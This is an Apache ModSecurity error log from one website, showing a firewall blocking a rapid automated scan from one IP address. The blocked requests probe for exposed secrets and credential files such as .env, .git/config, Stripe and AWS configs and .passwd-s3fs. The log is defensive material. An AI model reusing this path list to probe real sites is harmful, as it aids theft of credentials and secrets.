[Tue May 19 19:59:53.222335 2026] [:error] [pid 41573:tid 41588] [client 77.83.39.119:17956] [client 77.83.39.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/config/parameters.yml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/app_dev.php/_profiler/open"] [unique_id "agxQuS1A2bd6JDSW9RaLjgAAAQ0"]
[Tue May 19 19:59:53.253303 2026] [:error] [pid 38699:tid 38759] [client 77.83.39.119:17830] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/package-updates/update%2ecgi"] [unique_id "agxQub--Adsw_P-dthafEQAAAFE"]
[Tue May 19 19:59:53.253531 2026] [:error] [pid 41573:tid 41598] [client 77.83.39.119:18058] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rest/variables"] [unique_id "agxQuS1A2bd6JDSW9RaLkQAAARc"]
[Tue May 19 19:59:53.254103 2026] [:error] [pid 41573:tid 41589] [client 77.83.39.119:18040] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2fpublic%2f%2eenv"] [unique_id "agxQuS1A2bd6JDSW9RaLkgAAAQ4"]
[Tue May 19 19:59:53.258496 2026] [:error] [pid 29823:tid 29842] [client 77.83.39.119:17882] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sam-template%2eyaml"] [unique_id "agxQuWO09C0nAz8vRk5BBwAAAcc"]
[Tue May 19 19:59:53.258503 2026] [:error] [pid 29823:tid 29853] [client 77.83.39.119:17918] [client 77.83.39.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2025/.env"] [unique_id "agxQuWO09C0nAz8vRk5BCAAAAc4"]
[Tue May 19 19:59:53.258843 2026] [:error] [pid 46896:tid 46907] [client 77.83.39.119:17996] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/nuxt%2econfig%2ejs"] [unique_id "agxQuaCHyzL3Ci9LGE1hiQAAAYk"]
[Tue May 19 19:59:53.279457 2026] [:error] [pid 29823:tid 29850] [client 77.83.39.119:17840] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/payment_gateways/stripe%2eyaml"] [unique_id "agxQuWO09C0nAz8vRk5BCQAAAcs"]
[Tue May 19 19:59:53.280408 2026] [:error] [pid 38699:tid 38763] [client 77.83.39.119:17764] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "agxQub--Adsw_P-dthafEgAAAFU"]
[Tue May 19 19:59:53.429069 2026] [:error] [pid 55881:tid 55890] [client 77.83.39.119:17864] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/craco%2econfig%2ejs"] [unique_id "agxQue-UExma0LUC7WADowAAAkc"]
[Tue May 19 19:59:53.432902 2026] [:error] [pid 41573:tid 41579] [client 77.83.39.119:18066] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/%2egit/config"] [unique_id "agxQuS1A2bd6JDSW9RaLkwAAAQQ"]
[Tue May 19 19:59:53.433046 2026] [:error] [pid 38705:tid 38774] [client 77.83.39.119:17932] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/stripe%2ejs"] [unique_id "agxQucg5dNOZ5umN9ltgDQAAAIU"]
[Tue May 19 19:59:53.505469 2026] [:error] [pid 41573:tid 41583] [client 77.83.39.119:17798] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config/stripe%2eyaml"] [unique_id "agxQuS1A2bd6JDSW9RaLlQAAAQg"]
[Tue May 19 19:59:53.505621 2026] [:error] [pid 55881:tid 55893] [client 77.83.39.119:17946] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/payment/stripe%2ejson"] [unique_id "agxQue-UExma0LUC7WADpAAAAko"]
[Tue May 19 19:59:53.505755 2026] [:error] [pid 29823:tid 29859] [client 77.83.39.119:17826] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2ewell-known/stripe%2etxt"] [unique_id "agxQuWO09C0nAz8vRk5BCgAAAdQ"]
[Tue May 19 19:59:53.505921 2026] [:error] [pid 55881:tid 55905] [client 77.83.39.119:17900] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2egit/config.bak"] [unique_id "agxQue-UExma0LUC7WADpQAAAlY"]
[Tue May 19 19:59:53.506184 2026] [:error] [pid 41573:tid 41587] [client 77.83.39.119:17716] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/_ignition/health-check"] [unique_id "agxQuS1A2bd6JDSW9RaLlAAAAQw"]
[Tue May 19 19:59:53.506751 2026] [:error] [pid 29823:tid 29835] [client 77.83.39.119:17954] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vercel%2ejson"] [unique_id "agxQuWO09C0nAz8vRk5BCwAAAcA"]
[Tue May 19 19:59:53.538288 2026] [:error] [pid 41573:tid 41578] [client 77.83.39.119:18020] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/opt/mailcow-dockerized/mailcow%2econf"] [unique_id "agxQuS1A2bd6JDSW9RaLlgAAAQM"]
[Tue May 19 19:59:53.568516 2026] [:error] [pid 38699:tid 38744] [client 77.83.39.119:17792] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rest/users"] [unique_id "agxQub--Adsw_P-dthafEwAAAEI"]
[Tue May 19 19:59:53.568514 2026] [:error] [pid 38699:tid 38766] [client 77.83.39.119:17834] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/stripe%2ejson"] [unique_id "agxQub--Adsw_P-dthafFAAAAFg"]
[Tue May 19 19:59:53.568740 2026] [:error] [pid 46815:tid 46827] [client 77.83.39.119:17778] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2ewell-known/jwks%2ejson"] [unique_id "agxQuSPnRhJOmA06LgpybgAAAUo"]
[Tue May 19 19:59:53.569494 2026] [:error] [pid 55881:tid 55888] [client 77.83.39.119:17802] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2ewell-known/stripe/"] [unique_id "agxQue-UExma0LUC7WADpgAAAkU"]
[Tue May 19 19:59:53.569533 2026] [:error] [pid 38699:tid 38764] [client 77.83.39.119:17750] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/stripe-keys%2ejson"] [unique_id "agxQub--Adsw_P-dthafFQAAAFY"]
[Tue May 19 19:59:53.569722 2026] [:error] [pid 38697:tid 38730] [client 77.83.39.119:17736] [client 77.83.39.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/sites/default/.env"] [unique_id "agxQuaXP9pP6Kgt-msRNbwAAAA8"]
[Tue May 19 19:59:53.575642 2026] [:error] [pid 41573:tid 41585] [client 77.83.39.119:18054] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config/aws%2eyml"] [unique_id "agxQuS1A2bd6JDSW9RaLlwAAAQo"]
[Tue May 19 19:59:53.585703 2026] [:error] [pid 41573:tid 41593] [client 77.83.39.119:18080] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "agxQuS1A2bd6JDSW9RaLmAAAARI"]
[Tue May 19 19:59:53.588485 2026] [:error] [pid 46815:tid 46835] [client 77.83.39.119:18104] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2eazure/config"] [unique_id "agxQuSPnRhJOmA06LgpycAAAAVI"]
[Tue May 19 19:59:53.677982 2026] [:error] [pid 55881:tid 55883] [client 77.83.39.119:18094] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/stripe/config%2ejson"] [unique_id "agxQue-UExma0LUC7WADpwAAAkA"]
[Tue May 19 19:59:53.679289 2026] [:error] [pid 38814:tid 38820] [client 77.83.39.119:17998] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/package%2ejson"] [unique_id "agxQuQvkKuBwP0epzWedZwAAAMQ"]
[Tue May 19 19:59:53.679416 2026] [:error] [pid 38705:tid 38771] [client 77.83.39.119:17966] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/nuxt%2econfig%2ets"] [unique_id "agxQucg5dNOZ5umN9ltgDgAAAII"]
[Tue May 19 19:59:53.679652 2026] [:error] [pid 41573:tid 41599] [client 77.83.39.119:17732] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/software/update%2ecgi"] [unique_id "agxQuS1A2bd6JDSW9RaLmQAAARg"]
[Tue May 19 19:59:53.704841 2026] [:error] [pid 29622:tid 29643] [client 77.83.39.119:18282] [client 77.83.39.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2024/.env"] [unique_id "agxQuTkOqPKWkPs_P15Q9gAAAhM"]
[Tue May 19 19:59:53.705004 2026] [:error] [pid 29622:tid 29644] [client 77.83.39.119:18118] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/next%2econfig%2ejs"] [unique_id "agxQuTkOqPKWkPs_P15Q9wAAAhQ"]
[Tue May 19 19:59:53.705523 2026] [:error] [pid 41573:tid 41592] [client 77.83.39.119:18126] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/stripe%2eyaml"] [unique_id "agxQuS1A2bd6JDSW9RaLmgAAARE"]
[Tue May 19 19:59:53.744568 2026] [:error] [pid 38699:tid 38758] [client 77.83.39.119:18206] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/wc/v2/payment_gateways"] [unique_id "agxQub--Adsw_P-dthafFgAAAFA"]
[Tue May 19 19:59:53.782661 2026] [:error] [pid 38814:tid 38822] [client 77.83.39.119:18030] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/webhooks/incoming/stripe%2ejson"] [unique_id "agxQuQvkKuBwP0epzWedaAAAAMY"]
[Tue May 19 19:59:53.782686 2026] [:error] [pid 38814:tid 38835] [client 77.83.39.119:18232] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.passwd-s3fs"] [unique_id "agxQuQvkKuBwP0epzWedaQAAANM"]
[Tue May 19 19:59:53.822883 2026] [:error] [pid 41573:tid 41594] [client 77.83.39.119:17714] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/swagger%2ejson"] [unique_id "agxQuS1A2bd6JDSW9RaLnAAAARM"]
[Tue May 19 19:59:53.824276 2026] [:error] [pid 29622:tid 29647] [client 77.83.39.119:17698] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/webmin/package-updates/update%2ecgi"] [unique_id "agxQuTkOqPKWkPs_P15Q-AAAAhc"]
[Tue May 19 19:59:53.824735 2026] [:error] [pid 41573:tid 41580] [client 77.83.39.119:17854] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/_profiler/latest"] [unique_id "agxQuS1A2bd6JDSW9RaLnQAAAQU"]
[Tue May 19 19:59:53.824814 2026] [:error] [pid 46896:tid 46916] [client 77.83.39.119:17884] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/next%2econfig%2ejs"] [unique_id "agxQuaCHyzL3Ci9LGE1higAAAZI"]
[Tue May 19 19:59:53.830511 2026] [:error] [pid 41573:tid 41577] [client 77.83.39.119:18004] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/netlify%2etoml"] [unique_id "agxQuS1A2bd6JDSW9RaLngAAAQI"]
[Tue May 19 19:59:53.831403 2026] [:error] [pid 29823:tid 29839] [client 77.83.39.119:17880] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/next%2econfig%2ets"] [unique_id "agxQuWO09C0nAz8vRk5BDQAAAcQ"]
[Tue May 19 19:59:53.831663 2026] [:error] [pid 41573:tid 41588] [client 77.83.39.119:17820] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/next%2econfig%2emjs"] [unique_id "agxQuS1A2bd6JDSW9RaLnwAAAQ0"]
[Tue May 19 19:59:53.832212 2026] [:error] [pid 29823:tid 29837] [client 77.83.39.119:17818] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/nuxt%2econfig%2ejs"] [unique_id "agxQuWO09C0nAz8vRk5BDgAAAcI"]
[Tue May 19 19:59:53.832346 2026] [:error] [pid 41573:tid 41595] [client 77.83.39.119:17960] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/vercel%2ejson"] [unique_id "agxQuS1A2bd6JDSW9RaLoAAAARQ"]
[Tue May 19 19:59:53.833170 2026] [:error] [pid 55881:tid 55898] [client 77.83.39.119:17872] [client 77.83.39.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/app_dev.php/_profiler/open"] [unique_id "agxQue-UExma0LUC7WADqAAAAk8"]
[Tue May 19 19:59:53.870342 2026] [:error] [pid 38699:tid 38746] [client 77.83.39.119:18472] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/api/%2eenv"] [unique_id "agxQub--Adsw_P-dthafGAAAAEQ"]
[Tue May 19 19:59:53.870365 2026] [:error] [pid 38699:tid 38749] [client 77.83.39.119:18436] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/package-updates/perform%2ecgi"] [unique_id "agxQub--Adsw_P-dthafFwAAAEc"]
[Tue May 19 19:59:53.870433 2026] [:error] [pid 38814:tid 38826] [client 77.83.39.119:18578] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app_dev.php/_profiler/open"] [unique_id "agxQuQvkKuBwP0epzWedagAAAMo"]
[Tue May 19 19:59:53.870433 2026] [:error] [pid 46815:tid 46817] [client 77.83.39.119:18186] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web%2econfig"] [unique_id "agxQuSPnRhJOmA06LgpycQAAAUA"]
[Tue May 19 19:59:53.871138 2026] [:error] [pid 29823:tid 29848] [client 77.83.39.119:18214] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rest/settings"] [unique_id "agxQuWO09C0nAz8vRk5BDwAAAck"]
[Tue May 19 19:59:53.871369 2026] [:error] [pid 38705:tid 38781] [client 77.83.39.119:18188] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/wc/v1/payment_gateways"] [unique_id "agxQucg5dNOZ5umN9ltgDwAAAIw"]
[Tue May 19 19:59:53.872490 2026] [:error] [pid 55881:tid 55906] [client 77.83.39.119:18252] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2egit"] [unique_id "agxQue-UExma0LUC7WADqQAAAlc"]
